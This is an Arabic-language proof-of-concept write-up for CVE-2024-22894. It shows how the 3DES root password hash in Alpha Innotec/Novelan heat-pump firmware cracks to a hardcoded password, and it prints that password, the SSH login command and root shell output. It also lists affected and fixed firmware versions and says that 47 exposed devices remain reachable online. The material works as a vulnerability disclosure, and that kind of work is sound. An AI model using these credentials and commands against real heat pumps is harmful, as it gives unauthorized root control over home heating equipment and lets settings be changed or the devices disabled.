
استغلال إثبات مفهوم لثغرة CVE-2024-22894، يوضح استخراج كلمة مرور الجذر المشفرة بتشفير 3DES من البرامج الثابتة لمضخات الحرارة Alpha Innotec/Novelan، مما يتيح الوصول عبر SSH إلى أجهزة إنترنت الأشياء الضعيفة.
تم تنزيل أحدث إصدار من البرنامج الثابت للمضخة الحرارية wp2reg-V3.88.0-9015 من https://www.heatpump24.com/DownloadArea.php.
داخل هذا البرنامج الثابت يوجد ملف يسمى: wp2reg-V3.88.0-9015\wp2reg-AlphaInnotech-prod\home.wp2reg-V3.88.0-9015_221213\share\shadow
يحتوي هذا الملف على كلمة مرور مشفرة بنظام 3DES root:MEfgX2vrPJzuE:0:0:99999:7::: لمستخدم الجذر (root) في النظام، وعند فك تشفيرها/اختراقها (خلال 5 ثوانٍ) تظهر كلمة المرور eschi.
عند توصيل المضخة الحرارية بالشبكة باستخدام كابل شبكة، يمكنك استخدام مستخدم 'root' وكلمة المرور التي تم العثور عليها لتسجيل الدخول إلى خدمة SSH المتاحة.
> ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 -c aes256-cbc root@$IP
$IP's password: eschi
# id
uid=0(root) gid=0 groups=0
# uname -a
Linux [...] 2.6.33.20 #3 PREEMPT Wed Oct 24 14:25:34 CEST 2018 armv5tejl GNU/Linux
تنطبق هذه الثغرة الأمنية على جميع مضخات الحرارة Alpha Innotec وNovelan التي تعمل بوحدة التحكم Luxtronic. تم التحقق من هذه الثغرة ومعالجتها من قبل AIT Deutschland، الشركة المصنعة الأصلية (OEM) لعلامتي Alpha Innotec وNovelan، وهي موجودة في إصدارات البرامج الثابتة التالية:
V2.88.3V3.89.0V4.81.3يجب أن تكون المضخة الحرارية متصلة بالشبكة عبر اتصال LAN (RJ-45) لإساءة استخدام هذه الثغرة. وفقًا لـ Shodan، لا تزال هناك 47 مضخة حرارية متصلة بالإنترنت تستخدم نفس إصدار SSH وبصمة الإصبع (fingerprint)، ويمكن اختراقها باستخدام هذا الاستغلال.
عند استغلالها، يمكن أن تسبب الكثير من الضرر، من خلال تغيير الإعدادات أو إزالة التكوين/البرنامج بالكامل مما يؤدي إلى تعطل المضخة الحرارية أو انهيارها. على سبيل المثال، يحتوي الدليل الرئيسي (home) على الملفات التالية التي قد تكون مثيرة للاهتمام للمهاجم:
# ls -alh /home
total 7448
drwxr-xr-x 5 root 0 4.8K Jan 12 08:59 .
drwxr-xr-x 14 root 0 992 Aug 1 2011 ..
drwxr-xr-x 3 root 0 224 Jan 1 1970 .update
-rw-rw-rw- 1 root 0 92.3K Jul 20 2022 10Min_1
-rw-rw-rw- 1 root 0 92.3K Sep 15 2022 10Min_2
-rwxrwxrwx 1 root 0 22.3K Jan 13 2021 ASB.bin
-rwxrwxrwx 1 root 0 23.3K Jul 15 2019 ASB_BL_Switch.bin
-rwxrwxrwx 1 root 0 22.1K Jul 15 2019 ASB_bootloader.bin
-rwxrwxrwx 1 root 0 1.2K Jun 16 2021 Defines.txt
-rwxrwxrwx 1 root 0 15.7K Jun 14 2021 HZIO.lin
-rw-rw-rw- 1 root 0 648 Jan 3 18:55 Info.dti
-rwxrwxrwx 1 root 0 15.3K Jul 24 2020 LD2AG.lin
-rwxrwxrwx 1 root 0 37.5K Jul 15 2019 LWD.lin
-rwxrwxrwx 1 root 0 26.8K Feb 8 2021 LWD45.lin
-rwxrwxrwx 1 root 0 38.8K Jul 15 2019 LWD90.lin
-rwxrwxrwx 1 root 0 37.9K Jul 15 2019 LWDRev.lin
-rwxrwxrwx 1 root 0 40.0K Jun 16 2021 LuxConst.sqlite
-rwxrwxrwx 1 root 0 26.9K Jul 24 2020 MSW_15.lin
-rwxrwxrwx 1 root 0 28.4K Jul 24 2020 MSW_Inverter.lin
-rw-rw-rw- 1 root 0 435.2K Jan 12 08:59 NewProc
-rw-rw-rw- 1 root 0 8.8K Jan 1 01:00 ParamArchive_1704067200
[...]
-rw-rw-rw- 1 root 0 8.8K Jan 12 01:00 ParamArchive_1705017600
-rwxrwxrwx 1 root 0 96.9K Jul 15 2019 SEC.bin
-rwxrwxrwx 1 root 0 31.6K Jul 15 2019 SWP.lin
-rwxrwxrwx 1 root 0 30.6K Jul 15 2019 SWPH.lin
-rwxrwxrwx 1 root 0 30.4K Jul 15 2019 SWPH291.lin
drwxrwxrwx 2 root 0 648 Apr 25 2023 Webserver
-rwxrwxrwx 1 root 0 5.0M Jun 16 2021 appl
-rwxrwxrwx 1 root 0 147 Jul 15 2019 appl.cfg
-rw-rw-rw- 1 root 0 8.8K Jan 12 08:59 appl_param1
-rw-rw-rw- 1 root 0 8.8K Jan 12 06:59 appl_param2
-rwxrwxrwx 1 root 0 9.4K Jul 15 2019 bootloader.lin
-rw-r--r-- 1 root 0 20.0K Jan 1 05:10 default.sqlite
-rw-r--r-- 1 root 0 0 Jan 1 1970 default.sqlite-wal
-rw-rw-r-- 1 root 0 56 Sep 15 2022 errlog
-rw-r--r-- 1 root 0 42.9K Apr 1 2011 firmware
-rwxrwxrwx 1 root 0 391 Jul 15 2019 index.html
-rwxrwxrwx 1 root 0 35.2K Jun 16 2021 lang_CR
[...
-rwxrwxrwx 1 root 0 37.8K Jun 16 2021 lang_tr
drwxr-xr-x 2 root 0 360 Jan 1 1970 share
-rwxrwxrwx 1 root 0 37 Jul 15 2019 timezone
-rwxrwxrwx 1 root 0 1.1K Jul 15 2019 udhcpc.script
V2.88.3 أو أعلىV3.89.0 أو أعلىV4.81.3 أو أعلىيعود الفضل إلى AIT-Deutschland لأخذ هذه المسألة على محمل الجد وإصلاحها بأولوية.